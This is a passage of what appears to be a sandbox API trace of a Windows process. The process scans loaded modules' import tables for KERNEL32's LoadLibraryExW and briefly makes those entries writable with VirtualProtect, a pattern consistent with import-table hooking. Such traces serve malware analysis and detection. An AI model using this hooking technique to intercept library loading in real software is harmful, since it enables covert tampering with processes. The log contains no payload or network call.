returned 1 [0079.580] lstrcmpiA (lpString1="GetFullPathNameW", lpString2="LoadLibraryExW") returned -1 [0079.580] lstrcmpiA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0079.580] lstrcmpiA (lpString1="CreateFileW", lpString2="LoadLibraryExW") returned -1 [0079.580] lstrcmpiA (lpString1="GetThreadLocale", lpString2="LoadLibraryExW") returned -1 [0079.580] lstrcmpiA (lpString1="GetSystemDirectoryW", lpString2="LoadLibraryExW") returned -1 [0079.580] lstrcmpiA (lpString1="LocalAlloc", lpString2="LoadLibraryExW") returned 1 [0079.580] lstrcmpiA (lpString1="FreeLibrary", lpString2="LoadLibraryExW") returned -1 [0079.580] lstrcmpiA (lpString1="GetProcAddress", lpString2="LoadLibraryExW") returned -1 [0079.580] lstrcmpiA (lpString1="LoadLibraryW", lpString2="LoadLibraryExW") returned 1 [0079.580] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="LoadLibraryExW") returned -1 [0079.580] lstrcmpiA (lpString1="BaseCheckAppcompatCache", lpString2="LoadLibraryExW") returned -1 [0079.580] lstrcmpiA (lpString1="GetACP", lpString2="LoadLibraryExW") returned -1 [0079.580] lstrcmpiA (lpString1="GetSystemDefaultLCID", lpString2="LoadLibraryExW") returned -1 [0079.580] lstrcmpiA (lpString1="LocalFree", lpString2="LoadLibraryExW") returned 1 [0079.580] lstrcmpiA (lpString1="IsDBCSLeadByteEx", lpString2="LoadLibraryExW") returned -1 [0079.580] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="LoadLibraryExW") returned 1 [0079.580] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="LoadLibraryExW") returned 1 [0079.580] lstrcmpiA (lpString1="LocalUnlock", lpString2="LoadLibraryExW") returned 1 [0079.580] lstrcmpiA (lpString1="LocalLock", lpString2="LoadLibraryExW") returned 1 [0079.580] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="LoadLibraryExW") returned -1 [0079.580] lstrcmpiA (lpString1="HeapFree", lpString2="LoadLibraryExW") returned -1 [0079.580] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0079.580] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0079.580] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0079.580] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0079.580] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0079.580] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0079.580] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0079.580] lstrcmpiA (lpString1="GlobalAlloc", lpString2="LoadLibraryExW") returned -1 [0079.580] lstrcmpiA (lpString1="GlobalSize", lpString2="LoadLibraryExW") returned -1 [0079.580] lstrcmpiA (lpString1="GetSystemWow64DirectoryW", lpString2="LoadLibraryExW") returned -1 [0079.580] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0079.580] lstrcmpiA (lpString1="MSCTF.dll", lpString2="KERNEL32.DLL") returned 1 [0079.580] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2030f90 | out: hHeap=0x2020000) returned 1 [0079.580] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff080000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7feff080000, AllocationBase=0x7feff080000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.580] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.581] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2030f90 [0079.581] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0079.581] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.581] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.581] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.581] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0079.581] lstrcmpiA (lpString1="RtlCaptureContext", lpString2="LoadLibraryExW") returned 1 [0079.581] lstrcmpiA (lpString1="RtlLookupFunctionEntry", lpString2="LoadLibraryExW") returned 1 [0079.581] lstrcmpiA (lpString1="RtlVirtualUnwind", lpString2="LoadLibraryExW") returned 1 [0079.581] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0079.581] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0079.581] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0079.581] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0079.581] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="LoadLibraryExW") returned 1 [0079.581] lstrcmpiA (lpString1="ReleaseMutex", lpString2="LoadLibraryExW") returned 1 [0079.581] lstrcmpiA (lpString1="CreateMutexW", lpString2="LoadLibraryExW") returned -1 [0079.581] lstrcmpiA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0079.581] lstrcmpiA (lpString1="OpenEventW", lpString2="LoadLibraryExW") returned 1 [0079.581] lstrcmpiA (lpString1="SetEvent", lpString2="LoadLibraryExW") returned 1 [0079.581] lstrcmpiA (lpString1="ResetEvent", lpString2="LoadLibraryExW") returned 1 [0079.581] lstrcmpiA (lpString1="lstrlenW", lpString2="LoadLibraryExW") returned 1 [0079.581] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.581] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.581] lstrcmpiA (lpString1="GetEnvironmentVariableW", lpString2="LoadLibraryExW") returned -1 [0079.581] lstrcmpiA (lpString1="ExpandEnvironmentStringsW", lpString2="LoadLibraryExW") returned -1 [0079.581] lstrcmpiA (lpString1="LocalReAlloc", lpString2="LoadLibraryExW") returned 1 [0079.581] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="LoadLibraryExW") returned 1 [0079.581] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="LoadLibraryExW") returned 1 [0079.581] lstrcmpiA (lpString1="GetACP", lpString2="LoadLibraryExW") returned -1 [0079.581] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0079.581] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="LoadLibraryExW") returned -1 [0079.581] lstrcmpiA (lpString1="LoadLibraryW", lpString2="LoadLibraryExW") returned 1 [0079.581] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="LoadLibraryExW") returned -1 [0079.581] lstrcmpiA (lpString1="IsDBCSLeadByteEx", lpString2="LoadLibraryExW") returned -1 [0079.581] lstrcmpiA (lpString1="LCMapStringW", lpString2="LoadLibraryExW") returned -1 [0079.581] lstrcmpiA (lpString1="DeactivateActCtx", lpString2="LoadLibraryExW") returned -1 [0079.581] lstrcmpiA (lpString1="ActivateActCtx", lpString2="LoadLibraryExW") returned -1 [0079.581] lstrcmpiA (lpString1="ReleaseActCtx", lpString2="LoadLibraryExW") returned 1 [0079.581] lstrcmpiA (lpString1="CreateActCtxW", lpString2="LoadLibraryExW") returned -1 [0079.582] lstrcmpiA (lpString1="GetVersionExW", lpString2="LoadLibraryExW") returned -1 [0079.582] lstrcmpiA (lpString1="GetSystemDefaultLangID", lpString2="LoadLibraryExW") returned -1 [0079.582] lstrcmpiA (lpString1="GetUserDefaultUILanguage", lpString2="LoadLibraryExW") returned -1 [0079.582] lstrcmpiA (lpString1="CreateProcessW", lpString2="LoadLibraryExW") returned -1 [0079.582] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0079.582] VirtualProtect (in: lpAddress=0x7feff1212c0, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x27ecd0 | out: lpflOldProtect=0x27ecd0*=0x2) returned 1 [0079.582] VirtualProtect (in: lpAddress=0x7feff1212c0, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x27ecd0 | out: lpflOldProtect=0x27ecd0*=0x40) returned 1 [0079.582] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef87e0000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7fef87e0000, AllocationBase=0x7fef87e0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.582] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.582] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2031000 [0079.582] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0079.582] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.582] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0079.582] lstrcmpiA (lpString1="GetDiskFreeSpaceW", lpString2="LoadLibraryExW") returned -1 [0079.582] lstrcmpiA (lpString1="RtlCaptureContext", lpString2="LoadLibraryExW") returned 1 [0079.582] lstrcmpiA (lpString1="RtlLookupFunctionEntry", lpString2="LoadLibraryExW") returned 1 [0079.582] lstrcmpiA (lpString1="RtlVirtualUnwind", lpString2="LoadLibraryExW") returned 1 [0079.582] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0079.582] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0079.582] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0079.582] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0079.582] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0079.582] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0079.583] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0079.583] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0079.583] lstrcmpiA (lpString1="Sleep", lpString2="LoadLibraryExW") returned 1 [0079.583] lstrcmpiA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0079.583] lstrcmpiA (lpString1="CreateEventW", lpString2="LoadLibraryExW") returned -1 [0079.583] lstrcmpiA (lpString1="ResetEvent", lpString2="LoadLibraryExW") returned 1 [0079.583] lstrcmpiA (lpString1="GetLastError", lpString2="LoadLibraryExW") returned -1 [0079.583] lstrcmpiA (lpString1="GetOverlappedResult", lpString2="LoadLibraryExW") returned -1 [0079.583] lstrcmpiA (lpString1="CreateFileW", lpString2="LoadLibraryExW") returned -1 [0079.583] lstrcmpiA (lpString1="ReadFile", lpString2="LoadLibraryExW") returned 1 [0079.583] lstrcmpiA (lpString1="WriteFile", lpString2="LoadLibraryExW") returned 1 [0079.583] lstrcmpiA (lpString1="GetFileSize", lpString2="LoadLibraryExW") returned -1 [0079.583] lstrcmpiA (lpString1="GetFullPathNameW", lpString2="LoadLibraryExW") returned -1 [0079.583] lstrcmpiA (lpString1="GlobalSize", lpString2="LoadLibraryExW") returned -1 [0079.583] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="LoadLibraryExW") returned -1 [0079.583] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.583] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.583] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.583] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.583] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="LoadLibraryExW") returned 1 [0079.583] lstrcmpiA (lpString1="lstrcmpW", lpString2="LoadLibraryExW") returned 1 [0079.583] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="LoadLibraryExW") returned 1 [0079.583] lstrcmpiA (lpString1="lstrlenA", lpString2="LoadLibraryExW") returned 1 [0079.583] lstrcmpiA (lpString1="GlobalLock", lpString2="LoadLibraryExW") returned -1 [0079.583] lstrcmpiA (lpString1="GlobalAlloc", lpString2="LoadLibraryExW") returned -1 [0079.583] lstrcmpiA (lpString1="MulDiv", lpString2="LoadLibraryExW") returned 1 [0079.583] lstrcmpiA (lpString1="GlobalUnlock", lpString2="LoadLibraryExW") returned -1 [0079.583] lstrcmpiA (lpString1="GlobalFree", lpString2="LoadLibraryExW") returned -1 [0079.583] lstrcmpiA (lpString1="LocalAlloc", lpString2="LoadLibraryExW") returned 1 [0079.583] lstrcmpiA (lpString1="GlobalHandle", lpString2="LoadLibraryExW") returned -1 [0079.583] lstrcmpiA (lpString1="LocalFree", lpString2="LoadLibraryExW") returned 1 [0079.583] lstrcmpiA (lpString1="GlobalReAlloc", lpString2="LoadLibraryExW") returned -1 [0079.583] lstrcmpiA (lpString1="lstrlenW", lpString2="LoadLibraryExW") returned 1 [0079.583] lstrcmpiA (lpString1="SetErrorMode", lpString2="LoadLibraryExW") returned 1 [0079.583] lstrcmpiA (lpString1="DisableThreadLibraryCalls", lpString2="LoadLibraryExW") returned -1 [0079.583] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0079.583] lstrcmpiA (lpString1="WINMM.dll", lpString2="KERNEL32.DLL") returned 1 [0079.583] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="KERNEL32.DLL") returned -1 [0079.583] lstrcmpiA (lpString1="ole32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.583] lstrcmpiA (lpString1="MSACM32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.583] lstrcmpiA (lpString1="MSVFW32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.583] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2031000 | out: hHeap=0x2020000) returned 1 [0079.584] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefea30000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7fefea30000, AllocationBase=0x7fefea30000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.584] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.584] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2031000 [0079.584] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0079.584] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0079.584] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0079.584] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="KERNEL32.DLL") returned 1 [0079.584] lstrcmpiA (lpString1="API-MS-Win-Core-Debug-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.584] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.584] lstrcmpiA (lpString1="API-MS-Win-Core-Fibers-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.584] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.584] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.584] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.584] lstrcmpiA (lpString1="API-MS-Win-Core-Interlocked-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.584] lstrcmpiA (lpString1="API-MS-Win-Core-IO-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.584] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.584] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.584] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.584] lstrcmpiA (lpString1="API-MS-Win-Core-Memory-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.584] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.584] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.584] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.584] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.584] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.584] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.584] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.584] lstrcmpiA (lpString1="API-MS-Win-Core-Util-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.584] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.584] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.584] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="KERNEL32.DLL") returned 1 [0079.584] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0079.584] lstrcmpiA (lpString1="GetSystemWow64DirectoryW", lpString2="LoadLibraryExW") returned -1 [0079.584] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0079.584] lstrcmpiA (lpString1="SleepConditionVariableCS", lpString2="LoadLibraryExW") returned 1 [0079.584] lstrcmpiA (lpString1="WakeAllConditionVariable", lpString2="LoadLibraryExW") returned 1 [0079.584] lstrcmpiA (lpString1="SetThreadStackGuarantee", lpString2="LoadLibraryExW") returned 1 [0079.584] lstrcmpiA (lpString1="CreateSemaphoreW", lpString2="LoadLibraryExW") returned -1 [0079.584] lstrcmpiA (lpString1="GlobalMemoryStatus", lpString2="LoadLibraryExW") returned -1 [0079.584] lstrcmpiA (lpString1="GetTempPathW", lpString2="LoadLibraryExW") returned -1 [0079.584] lstrcmpiA (lpString1="MulDiv", lpString2="LoadLibraryExW") returned 1 [0079.584] lstrcmpiA (lpString1="GlobalFindAtomA", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="GlobalReAlloc", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="GlobalAddAtomW", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="GlobalFindAtomW", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="GlobalAddAtomA", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="GlobalGetAtomNameA", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="GlobalGetAtomNameW", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="GlobalDeleteAtom", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="GlobalSize", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="InitOnceExecuteOnce", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="DosDateTimeToFileTime", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="FileTimeToDosDateTime", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="FindActCtxSectionStringW", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="LoadLibraryA", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="WriteProfileStringW", lpString2="LoadLibraryExW") returned 1 [0079.585] lstrcmpiA (lpString1="GetProfileStringW", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="GetCurrentActCtx", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="DeactivateActCtx", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="ActivateActCtx", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="CreateActCtxW", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="WaitForMultipleObjects", lpString2="LoadLibraryExW") returned 1 [0079.585] lstrcmpiA (lpString1="InitializeConditionVariable", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="FindActCtxSectionGuid", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="AddRefActCtx", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="ReleaseActCtx", lpString2="LoadLibraryExW") returned 1 [0079.585] lstrcmpiA (lpString1="IsBadWritePtr", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="IsBadReadPtr", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="IsThreadAFiber", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="GlobalUnlock", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="GlobalLock", lpString2="LoadLibraryExW") returned -1 [0079.585] lstrcmpiA (lpString1="LoadLibraryW", lpString2="LoadLibraryExW") returned 1 [0079.585] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.585] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.585] lstrcmpiA (lpString1="API-MS-Win-Security-SDDL-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.585] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="KERNEL32.DLL") returned -1 [0079.585] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="KERNEL32.DLL") returned -1 [0079.585] lstrcmpiA (lpString1="SHELL32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.585] lstrcmpiA (lpString1="MPR.dll", lpString2="KERNEL32.DLL") returned 1 [0079.585] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="KERNEL32.DLL") returned -1 [0079.585] lstrcmpiA (lpString1="msiltcfg.dll", lpString2="KERNEL32.DLL") returned 1 [0079.585] lstrcmpiA (lpString1="CLBCatQ.DLL", lpString2="KERNEL32.DLL") returned -1 [0079.586] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.586] lstrcmpiA (lpString1="imagehlp.dll", lpString2="KERNEL32.DLL") returned -1 [0079.586] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2031000 | out: hHeap=0x2020000) returned 1 [0079.586] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef7730000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7fef7730000, AllocationBase=0x7fef7730000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.586] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.586] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2031000 [0079.586] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0079.586] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0079.586] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0079.586] lstrcmpiA (lpString1="GetPrivateProfileStringW", lpString2="LoadLibraryExW") returned -1 [0079.586] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.586] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0079.586] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="LoadLibraryExW") returned -1 [0079.586] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0079.586] lstrcmpiA (lpString1="WritePrivateProfileStringW", lpString2="LoadLibraryExW") returned 1 [0079.586] lstrcmpiA (lpString1="LocalAlloc", lpString2="LoadLibraryExW") returned 1 [0079.586] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.586] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="LoadLibraryExW") returned -1 [0079.586] lstrcmpiA (lpString1="TlsAlloc", lpString2="LoadLibraryExW") returned 1 [0079.586] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0079.586] lstrcmpiA (lpString1="LocalFree", lpString2="LoadLibraryExW") returned 1 [0079.586] lstrcmpiA (lpString1="TlsFree", lpString2="LoadLibraryExW") returned 1 [0079.586] lstrcmpiA (lpString1="GlobalAlloc", lpString2="LoadLibraryExW") returned -1 [0079.586] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.586] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.586] lstrcmpiA (lpString1="lstrcmpW", lpString2="LoadLibraryExW") returned 1 [0079.586] lstrcmpiA (lpString1="GlobalLock", lpString2="LoadLibraryExW") returned -1 [0079.586] lstrcmpiA (lpString1="GetProfileStringW", lpString2="LoadLibraryExW") returned -1 [0079.586] lstrcmpiA (lpString1="lstrlenW", lpString2="LoadLibraryExW") returned 1 [0079.586] lstrcmpiA (lpString1="GlobalUnlock", lpString2="LoadLibraryExW") returned -1 [0079.586] lstrcmpiA (lpString1="GlobalHandle", lpString2="LoadLibraryExW") returned -1 [0079.586] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="LoadLibraryExW") returned 1 [0079.586] lstrcmpiA (lpString1="ResetEvent", lpString2="LoadLibraryExW") returned 1 [0079.586] lstrcmpiA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0079.586] lstrcmpiA (lpString1="FreeResource", lpString2="LoadLibraryExW") returned -1 [0079.586] lstrcmpiA (lpString1="lstrlenA", lpString2="LoadLibraryExW") returned 1 [0079.586] lstrcmpiA (lpString1="MapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0079.586] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0079.586] lstrcmpiA (lpString1="FindResourceW", lpString2="LoadLibraryExW") returned -1 [0079.586] lstrcmpiA (lpString1="LoadResource", lpString2="LoadLibraryExW") returned 1 [0079.587] lstrcmpiA (lpString1="SizeofResource", lpString2="LoadLibraryExW") returned 1 [0079.587] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="LoadLibraryExW") returned -1 [0079.587] lstrcmpiA (lpString1="LockResource", lpString2="LoadLibraryExW") returned 1 [0079.587] lstrcmpiA (lpString1="GlobalReAlloc", lpString2="LoadLibraryExW") returned -1 [0079.587] lstrcmpiA (lpString1="CompareStringOrdinal", lpString2="LoadLibraryExW") returned -1 [0079.587] lstrcmpiA (lpString1="SetEvent", lpString2="LoadLibraryExW") returned 1 [0079.587] lstrcmpiA (lpString1="CreateEventW", lpString2="LoadLibraryExW") returned -1 [0079.587] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="LoadLibraryExW") returned 1 [0079.587] lstrcmpiA (lpString1="GetACP", lpString2="LoadLibraryExW") 